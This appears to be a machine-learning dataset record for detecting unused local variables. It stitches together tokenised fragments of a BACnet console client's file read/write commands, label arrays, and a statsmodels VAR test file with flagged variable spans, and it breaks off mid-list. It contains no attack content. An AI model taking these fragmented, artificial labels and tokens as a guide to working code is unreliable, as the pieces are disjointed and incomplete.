"<", "start", ">", " ", "<", "count", ">\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "args_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", "do", "\\u", "reads", "tream", " ", "%", "r", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "obj", "\\u", "inst_", ",_", "start", "\\u", "position_", ",_", "oct", "et", "\\u", "count_", "=_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj", "\\u", "type_", "=_", "'", "file", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj", "\\u", "inst_", "=_", "int_", "(_", "obj", "\\u", "inst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "position_", "=_", "int_", "(_", "start", "\\u", "position_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oct", "et", "\\u", "count_", "=_", "int_", "(_", "oct", "et", "\\u", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "a", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "Atom", "ic", "Read", "File", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Identifier_", "=_", "(_", "obj", "\\u", "type_", ",_", "obj", "\\u", "inst_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "Method_", "=_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choice_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stream", "Access_", "=_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Stream", "Access_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Start", "Position_", "=_", "start", "\\u", "position_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "ed", "Octet", "Count_", "=_", "oct", "et", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "pdu", "Destination_", "=_", "Address_", "(_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "request", ":", " ", "%", "r", "\"_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "it", " ", "to", " ", "the", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "._", "request_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "exception_", "(_", "\"", "exception", ":", " ", "%", "r", "\"_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cons", "ole", "Cmd_", "(_", "Cons", "ole", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "writer", "ecor", "d_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "writer", "ecor", "d", " ", "<", "addr", ">", " ", "<", "inst", ">", " ", "<", "start", ">", " ", "<", "count", ">", " ", "[", " ", "<", "data", ">", " ", "...", " ", "]\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "args_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", "do", "\\u", "writer", "ecor", "d", " ", "%", "r", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "obj", "\\u", "inst_", ",_", "start", "\\u", "record_", ",_", "record", "\\u", "count_", "=_", "args_", "[_", "0_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj", "\\u", "type_", "=_", "'", "file", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj", "\\u", "inst_", "=_", "int_", "(_", "obj", "\\u", "inst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "record_", "=_", "int_", "(_", "start", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "record", "\\u", "count_", "=_", "int_", "(_", "record", "\\u", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "record", "\\u", "data_", "=_", "list_", "(_", "args_", "[_", "4_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "a", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "Atom", "ic", "Write", "File", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Identifier_", "=_", "(_", "obj", "\\u", "type_", ",_", "obj", "\\u", "inst_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "Method_", "=_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choice_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "record", "Access_", "=_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Record", "Access_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Start", "Record_", "=_", "start", "\\u", "record_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record", "Count_", "=_", "record", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Record", "Data_", "=_", "record", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "pdu", "Destination_", "=_", "Address_", "(_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "request", ":", " ", "%", "r", "\"_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "it", " ", "to", " ", "the", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "._", "request_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "exception_", "(_", "\"", "exception", ":", " ", "%", "r", "\"_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cons", "ole", "Cmd_", "(_", "Cons", "ole", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "writes", "tream_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "writes", "tream", " ", "<", "addr", ">", " ", "<", "inst", ">", " ", "<", "start", ">", " ", "<", "data", ">\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "args_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", "do", "\\u", "writes", "tream", " ", "%", "r", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "obj", "\\u", "inst_", ",_", "start", "\\u", "position_", ",_", "data_", "=_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj", "\\u", "type_", "=_", "'", "file", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj", "\\u", "inst_", "=_", "int_", "(_", "obj", "\\u", "inst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "position_", "=_", "int_", "(_", "start", "\\u", "position_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "a", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "Atom", "ic", "Write", "File", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Identifier_", "=_", "(_", "obj", "\\u", "type_", ",_", "obj", "\\u", "inst_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "Method_", "=_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choice_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stream", "Access_", "=_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Stream", "Access_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Start", "Position_", "=_", "start", "\\u", "position_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Data_", "=_", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "pdu", "Destination_", "=_", "Address_", "(_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "request", ":", " ", "%", "r", "\"_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "it", " ", "to", " ", "the", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "._", "request_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "exception_", "(_", "\"", "exception", ":", " ", "%", "r", "\"_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
statsmodels/statsmodels/statsmodels/tsa/vector_ar/tests/test_var.py
[ { "content": "def get_macrodata():\n data = sm.datasets.macrodata.load().data[['realgdp','realcons','realinv']]\n names = data.dtype.names\n nd = data.view((float,3), type=np.ndarray)\n nd = np.diff(np.log(nd), axis=0)\n return nd.ravel().view(data.dtype, type=np.ndarray)", "metadata": "root.get_macrodata", "header": "['module', '___EOS___']", "index": 84 }, { "content": " def test_constructor(self):\n # make sure this works with no names\n ndarr = self.data.view((float, 3), type=np.ndarray)\n model = VAR(ndarr)\n res = model.fit(self.p)", "metadata": "root.TestVARResults.test_constructor", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 252 }, { "content": " def test_repr(self):\n # just want this to work\n foo = str(self.res)\n bar = repr(self.res)", "metadata": "root.TestVARResults.test_repr", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 276 }, { "content": " def test_summary(self):\n summ = self.res.summary()", "metadata": "root.TestVARResults.test_summary", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 297 }, { "content": " def test_lagorder_select(self):\n ics = ['aic', 'fpe', 'hqic', 'bic']\n\n for ic in ics:\n res = self.model.fit(maxlags=10, ic=ic, verbose=True)\n\n assert_raises(Exception, self.model.fit, ic='foo')", "metadata": "root.TestVARResults.test_lagorder_select", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 316 }, { "content": " def test_select_order(self):\n result = self.model.fit(10, ic='aic', verbose=True)\n result = self.model.fit(10, ic='fpe', verbose=True)\n\n # bug\n model = VAR(self.model.endog)\n model.select_order()", "metadata": "root.TestVARResults.test_select_order", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 362 }, { "content": " def test_acorr(self):\n acorrs = self.res.acorr(10)", "metadata": "root.TestVARResults.test_acorr", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 382 }, { "content": " def test_forecast(self):\n point = self.res.forecast(self.res.y[-5:], 5)", "metadata": "root.TestVARResults.test_forecast", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 385 }, { "content": " def test_forecast_interval(self):\n y = self.res.y[:-self.p:]\n point, lower, upper = self.res.forecast_interval(y, 5)", "metadata": "root.TestVARResults.test_forecast_interval", "header": "['class', 'TestVARResults', '(', 'CheckIRF', ',', 'CheckFEVD', ')', ':', '___EOS___']", "index": 388 }, { "content": " def test_lr_effect_stderr(self):\n stderr = self.irf.lr_effect_stderr(orth=False)\n orth_stderr = self.irf.lr_effect_stderr(orth=True)\n assert_almost_equal(np.round(stderr, 3), self.lut.lr_stderr)", "metadata": "root.TestVARResultsLutkepohl.test_lr_effect_stderr", "header": "['class', 'TestVARResultsLutkepohl', '(', 'object', ')', ':', '___EOS___']", "index": 542 }, { "content": "def test_var_trend():\n # see 2271\n data = get_macrodata().view((float,3), type=np.ndarray)\n\n model = sm.tsa.VAR(data)\n results = model.fit(4) #, trend = 'c')\n irf = results.irf(10)\n\n\n data_nc = data - data.mean(0)\n model_nc = sm.tsa.VAR(data_nc)\n results_nc = model_nc.fit(4, trend = 'nc')\n assert_raises(ValueError, model.fit, 4, trend='t')", "metadata": "root.test_var_trend", "header": "['module', '___EOS___']", "index": 579 } ]
[ { "span": "names ", "start_line": 86, "start_column": 4, "end_line": 86, "end_column": 9 }, { "span": "res ", "start_line": 256, "start_column": 8, "end_line": 256, "end_column": 11 }, { "span": "foo ", "start_line": 278, "start_column": 8, "end_line": 278, "end_column": 11 }, { "span": "bar ", "start_line": 279, "start_column": 8, "end_line": 279, "end_column": 11 }, { "span": "summ ", "start_line": 298, "start_column": 8, "end_line": 298, "end_column": 12 }, { "span": "res ", "start_line": 320, "start_column": 12, "end_line": 320, "end_column": 15 }, { "span": "result ", "start_line": 364, "start_column": 8, "end_line": 364, "end_column": 14 }, { "span": "acorrs ", "start_line": 383, "start_column": 8, "end_line": 383, "end_column": 14 }, { "span": "point ", "start_line": 386, "start_column": 8, "end_line": 386, "end_column": 13 }, { "span": "point,", "start_line": 390, "start_column": 8, "end_line": 390, "end_column": 13 }, { "span": "lower,", "start_line": 390, "start_column": 15, "end_line": 390, "end_column": 20 }, { "span": "upper ", "start_line": 390, "start_column": 22, "end_line": 390, "end_column": 27 }, { "span": "orth_stderr ", "start_line": 544, "start_column": 8, "end_line": 544, "end_column": 19 }, { "span": "irf ", "start_line": 585, "start_column": 4, "end_line": 585, "end_column": 7 }, { "span": "results_nc ", "start_line": 590, "start_column": 4, "end_line": 590, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "macro", "data_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "sm_", "._", "datasets_", "._", "macro", "data_", "._", "load_", "(_", ")_", "._", "data_", "[_", "[_", "'", "real", "gd", "p", "'_", ",_", "'", "real", "cons", "'_", ",_", "'", "reali", "nv", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "data_", "._", "dtype_", "._", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nd_", "=_", "data_", "._", "view_", "(_", "(_", "float_", ",_", "3_", ")_", ",_", "type_", "=_", "np_", "._", "ndarray_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nd_", "=_", "np_", "._", "diff_", "(_", "np_", "._", "log_", "(_", "nd_", ")_", ",_", "axis_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "nd_", "._", "ravel_", "(_", ")_", "._", "view_", "(_", "data_", "._", "dtype_", ",_", "type_", "=_", "np_", "._", "ndarray_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "constructor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "sure", " ", "this", " ", "works", " ", "with", " ", "no", " ", "names_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ndar", "r_", "=_", "self_", "._", "data_", "._", "view_", "(_", "(_", "float_", ",_", "3_", ")_", ",_", "type_", "=_", "np_", "._", "ndarray_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "=_", "VAR_", "(_", "ndar", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "model_", "._", "fit_", "(_", "self_", "._", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "repr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "just", " ", "want", " ", "this", " ", "to", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "str_", "(_", "self_", "._", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bar_", "=_", "repr_", "(_", "self_", "._", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "summary_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summ", "_", "=_", "self_", "._", "res_", "._", "summary_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lag", "order", "\\u", "select_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ics_", "=_", "[_", "'", "aic", "'_", ",_", "'", "fp", "e", "'_", ",_", "'", "hq", "ic", "'_", ",_", "'", "bic", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ic_", "in_", "ics_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "self_", "._", "model_", "._", "fit_", "(_", "maxl", "ags_", "=_", "10_", ",_", "ic_", "=_", "ic_", ",_", "verbose_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "Exception_", ",_", "self_", "._", "model_", "._", "fit_", ",_", "ic_", "=_", "'", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "order_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "model_", "._", "fit_", "(_", "10_", ",_", "ic_", "=_", "'", "aic", "'_", ",_", "verbose_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "model_", "._", "fit_", "(_", "10_", ",_", "ic_", "=_", "'", "fp", "e", "'_", ",_", "verbose_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bug_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "VAR_", "(_", "self_", "._", "model_", "._", "endo", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "select", "\\u", "order_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "aco", "rr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "aco", "rr", "s_", "=_", "self_", "._", "res_", "._", "aco", "rr_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "forecast_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "point_", "=_", "self_", "._", "res_", "._", "forecast_", "(_", "self_", "._", "res_", "._", "y_", "[_", "-_", "5_", ":_", "]_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Results_", "(_", "Check", "IR", "F_", ",_", "Check", "FE", "VD", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "forecast", "\\u", "interval_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "y_", "=_", "self_", "._", "res_", "._", "y_", "[_", ":_", "-_", "self_", "._", "p_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "point_", ",_", "lower_", ",_", "upper_", "=_", "self_", "._", "res_", "._", "forecast", "\\u", "interval_", "(_", "y_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "VAR", "Result", "s", "Lu", "tk", "epo", "hl_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lr", "\\u", "effect", "\\u", "stderr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "=_", "self_", "._", "ir", "f_", "._", "lr", "\\u", "effect", "\\u", "stderr_", "(_", "orth", "_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "orth", "\\u", "stderr_", "=_", "self_", "._", "ir", "f_", "._", "lr", "\\u", "effect", "\\u", "stderr_", "(_", "orth", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "alm", "ost", "\\u", "equal_", "(_", "np_", "._", "round_", "(_", "stderr_", ",_", "3_", ")_", ",_", "self_", "._", "lut_", "._", "lr", "\\u", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "var", "\\u", "trend", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "see", " ", "227", "1_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "get", 